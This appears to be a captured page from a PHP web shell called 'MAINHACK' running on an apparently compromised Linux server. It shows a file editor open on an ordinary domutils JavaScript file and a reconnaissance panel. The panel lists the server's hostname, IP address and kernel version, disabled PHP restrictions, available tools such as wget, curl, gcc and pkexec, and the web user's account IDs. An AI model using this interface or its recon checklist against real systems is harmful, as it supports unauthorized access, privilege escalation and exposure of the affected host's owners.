[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: stringify.js
"use strict"; var __importDefault = (this && this.__importDefault) || function (mod) { return (mod && mod.__esModule) ? mod : { "default": mod }; }; Object.defineProperty(exports, "__esModule", { value: true }); exports.innerText = exports.textContent = exports.getText = exports.getInnerHTML = exports.getOuterHTML = void 0; var domhandler_1 = require("domhandler"); var dom_serializer_1 = __importDefault(require("dom-serializer")); var domelementtype_1 = require("domelementtype"); /** * @param node Node to get the outer HTML of. * @param options Options for serialization. * @deprecated Use the `dom-serializer` module directly. * @returns `node`'s outer HTML. */ function getOuterHTML(node, options) { return (0, dom_serializer_1.default)(node, options); } exports.getOuterHTML = getOuterHTML; /** * @param node Node to get the inner HTML of. * @param options Options for serialization. * @deprecated Use the `dom-serializer` module directly. * @returns `node`'s inner HTML. */ function getInnerHTML(node, options) { return (0, domhandler_1.hasChildren)(node) ? node.children.map(function (node) { return getOuterHTML(node, options); }).join("") : ""; } exports.getInnerHTML = getInnerHTML; /** * Get a node's inner text. Same as `textContent`, but inserts newlines for `<br>` tags. * * @deprecated Use `textContent` instead. * @param node Node to get the inner text of. * @returns `node`'s inner text. */ function getText(node) { if (Array.isArray(node)) return node.map(getText).join(""); if ((0, domhandler_1.isTag)(node)) return node.name === "br" ? "\n" : getText(node.children); if ((0, domhandler_1.isCDATA)(node)) return getText(node.children); if ((0, domhandler_1.isText)(node)) return node.data; return ""; } exports.getText = getText; /** * Get a node's text content. * * @param node Node to get the text content of. * @returns `node`'s text content. * @see {@link https://developer.mozilla.org/en-US/docs/Web/API/Node/textContent} */ function textContent(node) { if (Array.isArray(node)) return node.map(textContent).join(""); if ((0, domhandler_1.hasChildren)(node) && !(0, domhandler_1.isComment)(node)) { return textContent(node.children); } if ((0, domhandler_1.isText)(node)) return node.data; return ""; } exports.textContent = textContent; /** * Get a node's inner text. * * @param node Node to get the inner text of. * @returns `node`'s inner text. * @see {@link https://developer.mozilla.org/en-US/docs/Web/API/Node/innerText} */ function innerText(node) { if (Array.isArray(node)) return node.map(innerText).join(""); if ((0, domhandler_1.hasChildren)(node) && (node.type === domelementtype_1.ElementType.Tag || (0, domhandler_1.isCDATA)(node))) { return innerText(node.children); } if ((0, domhandler_1.isText)(node)) return node.data; return ""; } exports.innerText = innerText;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.48 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002